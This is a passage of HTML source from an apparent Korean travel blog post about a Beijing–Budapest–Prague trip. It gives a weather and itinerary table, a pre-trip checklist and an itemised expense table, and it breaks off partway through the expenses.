this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;227&quot; data-origin-width=&quot;856&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;날씨 및 주요 일정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;당일 실제 날씨와는 차이를 보였음&lt;br /&gt;- 월요일 오후~밤에 비 내림&amp;hellip;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;div style=&quot;width: 65px;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/th&gt;
&lt;th&gt;10/08&lt;br /&gt;(일)&lt;/th&gt;
&lt;th&gt;10/09&lt;br /&gt;(월)&lt;/th&gt;
&lt;th&gt;10/10&lt;br /&gt;(화)&lt;/th&gt;
&lt;th&gt;10/11&lt;br /&gt;(수)&lt;/th&gt;
&lt;th&gt;10/12&lt;br /&gt;(목)&lt;/th&gt;
&lt;th&gt;10/13&lt;br /&gt;(금)&lt;/th&gt;
&lt;th&gt;10/14&lt;br /&gt;(토)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;베이징&lt;/td&gt;
&lt;td&gt;☁️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;22&lt;/span&gt;/11 ℃&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;부다&lt;br /&gt;페스트&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; ️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;17&lt;/span&gt;/10 ℃&lt;/td&gt;
&lt;td&gt;☁️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;20&lt;/span&gt;/10 ℃&lt;/td&gt;
&lt;td&gt; ️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;22&lt;/span&gt;/11 ℃&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; ️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;23&lt;/span&gt;/14 ℃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프라하&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;☁️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;22&lt;/span&gt;/11 ℃&lt;/td&gt;
&lt;td&gt;☀️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;23&lt;/span&gt;/13 ℃&lt;/td&gt;
&lt;td&gt;⛅-&amp;gt;☁️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;21&lt;/span&gt;/11 ℃&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;체스키&lt;br /&gt;크룸로프&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;☀️-&amp;gt; ️&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;21&lt;/span&gt;/11 ℃&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;주요&lt;br /&gt;일정&lt;/td&gt;
&lt;td&gt;- 베이징 공항 PP카드 라운지&lt;br /&gt;- 야경투어&lt;/td&gt;
&lt;td&gt;- 루다스 온천&lt;br /&gt;- 돈키호테 발레&lt;/td&gt;
&lt;td&gt;- 갤레르트 온천&lt;br /&gt;- RyanAir 부다페스트-프라하&lt;/td&gt;
&lt;td&gt;- 체스키 크룸로프 투어&lt;/td&gt;
&lt;td&gt;- 프라하 시내 투어&lt;br /&gt;- 돈 지오반니 오페라&lt;br /&gt;- 야간열차 프라하-부다페스트&lt;/td&gt;
&lt;td&gt;- 입국&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;To-Do&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul class=&quot;task-list&quot; style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_0&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_0&quot;&gt; 부다페스트 유심 구매 ⏫&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_1&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_1&quot;&gt; 필수 어플 설치&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_2&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_2&quot;&gt; 택스리펀 및 면세점에서 양주 구매(10만원 선)&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_3&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_3&quot;&gt; 환전: 트레블 월렛&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_4&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_4&quot;&gt; 트레블 월렛 환전소 위치 확인 ⏫&lt;/label&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;프라하&lt;/b&gt;에서는 &lt;b&gt;kb라고 쓰인 atm 이용&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;부다페스트&lt;/b&gt;에서는 &lt;b&gt;데악 거리의 OTP bank&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_5&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_5&quot;&gt; 인천공항 프린트 위치: 환승 호텔 서류 하나 뽑아야 함 ⏫&lt;/label&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;언제나 여행 관련 서류는 여행 인원 수에 맞춰서 출력&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_6&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_6&quot;&gt; 인천공항행 공항버스 목록: 10시 13분 출발(장안동 근린공원)&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_7&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_7&quot;&gt; 알리 페이&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_8&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_8&quot;&gt; 중국: 입/출국 전 건강 신고서 작성(24시간 이내) ⏫&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_9&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_9&quot;&gt; 해외 접속 허용: 네이버, 카카오톡&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_10&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_10&quot;&gt; 짐: 기내 활동 준비(영상, 슬리퍼 등)&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_11&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_11&quot;&gt; 짐: 물티슈 챙기기&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_12&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_12&quot;&gt; 짐: 슬리퍼, 수영복, 클라이밍 장비 챙기기&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_13&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_13&quot;&gt; 짐: 소형 우산 챙기기&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_14&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_14&quot;&gt; 짐: 유선 이어폰, 보조 배터리&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_15&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_15&quot;&gt; 한-EU FTA 관세 면제 ⏫&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_17&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_17&quot;&gt; 날씨 확인&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_18&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_18&quot;&gt; 돈지오반니 오페라 대본 제본&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_19&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_19&quot;&gt; 항공권 예매 ⏫&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_20&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_20&quot;&gt; 숙소 예약 ⏫&lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_21&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_21&quot;&gt; PP카드 확보  &lt;/label&gt;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input id=&quot;cbx_22&quot; disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt;&lt;label for=&quot;cbx_22&quot;&gt; 여행자 보험  &lt;/label&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;여행 경비&lt;/b&gt;&lt;/h2&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 849px;&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;width: 154px;&quot;&gt;일정&lt;/th&gt;
&lt;th style=&quot;width: 92px;&quot;&gt;도시&lt;/th&gt;
&lt;th style=&quot;width: 59px;&quot;&gt;원화&lt;/th&gt;
&lt;th style=&quot;width: 412px;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;width: 70px;&quot;&gt;분류&lt;/th&gt;
&lt;th style=&quot;width: 62px;&quot;&gt;날짜&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px; text-align: center;&quot;&gt;&lt;b&gt;일정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 92px; text-align: center;&quot;&gt;&lt;b&gt;도시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59px; text-align: center;&quot;&gt;&lt;b&gt;원화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 412px; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 70px; text-align: center;&quot;&gt;&lt;b&gt;분류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 62px; text-align: center;&quot;&gt;&lt;b&gt;날짜&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;출국&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;2,331,712&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;Air China PP카드 라운지 이용 비용 추가&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/08(일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;중국 베이징&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;중국&lt;br /&gt;베이징&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;밖을 나가지 못해서 쓰질 못함...&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/08(일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;헝가리 부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;297,186&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;12,600 HUF(교통비)&lt;br /&gt;+ 숙소(부자하우스, 250,000 )&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;부다페스트 유심 구매&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;48,880&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;13,000 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 통신&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Menza Restaurant&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;61,716&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;16,531 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;세체니 온천(10-09)&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;127,211&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;26,000 HUF(입장료) + 8,000 HUF(수영복)&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;♨️온천&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Gundel Cafe Patisserie Restaurant&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;64,613&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;17,308 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;야경투어&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;123,478&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;입장료 + 28,606 원 / 20 EUR(투어 차량)&lt;br /&gt;+ 10,872(우산, 음료)&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️투어&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/09(월)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Gravity Boulder&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;8,580&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;2,300 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; &amp;zwj;♂️클라이밍&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/10(화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;루다스 온천&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;44,001&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;11,800 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;♨️온천&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/10(화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Hungarikum Bisztr&amp;oacute;&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;70,000&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;18,745 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/10(화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;카페 뉴욕&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;24,733&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;6,641 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;☕카페&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/10(화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;돈키호테 발레&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;261,220&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;69,400 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 공연&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/10(화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;Gravity Boulder(23.10.11)&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;8,563&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;2,300 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; &amp;zwj;♂️클라이밍&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;갤레르트 온천&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;69,808&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;18,800 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;♨️온천&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;부다페스트 공항 아시아 음식점&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;헝가리&lt;br /&gt;부다페스트&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;41,652&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;11,190 HUF&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt;식당&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;RyanAir 부다페스트-프라하&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;198,171&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;체코 프라하&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;306,885&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;200 CZK(공항버스 AE) + 240 CZK(24시간 티켓)&lt;br /&gt;+ 숙소(예스프라하 23,600 + 257,458 /180 EUR)&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; 교통&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;코즐로브나&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;44,609&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;760 CZK&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️식사&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/11(수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 154px;&quot;&gt;체스키 크룸로프 투어&lt;/td&gt;
&lt;td style=&quot;width: 92px;&quot;&gt;체코&lt;br /&gt;프라하&lt;/td&gt;
&lt;td style=&quot;width: 59px;&quot;&gt;188,497&lt;/td&gt;
&lt;td style=&quot;width: 412px;&quot;&gt;투어(158,000 ) + 휴게소(3,688 원, 63 CZK)&lt;br /&gt;+ 점심(베트남 쌀국수 26,809 /458 CZK)&lt;/td&gt;
&lt;td style=&quot;width: 70px;&quot;&gt; ️투어&lt;/td&gt;
&lt;td style=&quot;width: 62px;&quot;&gt;10/12(목)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
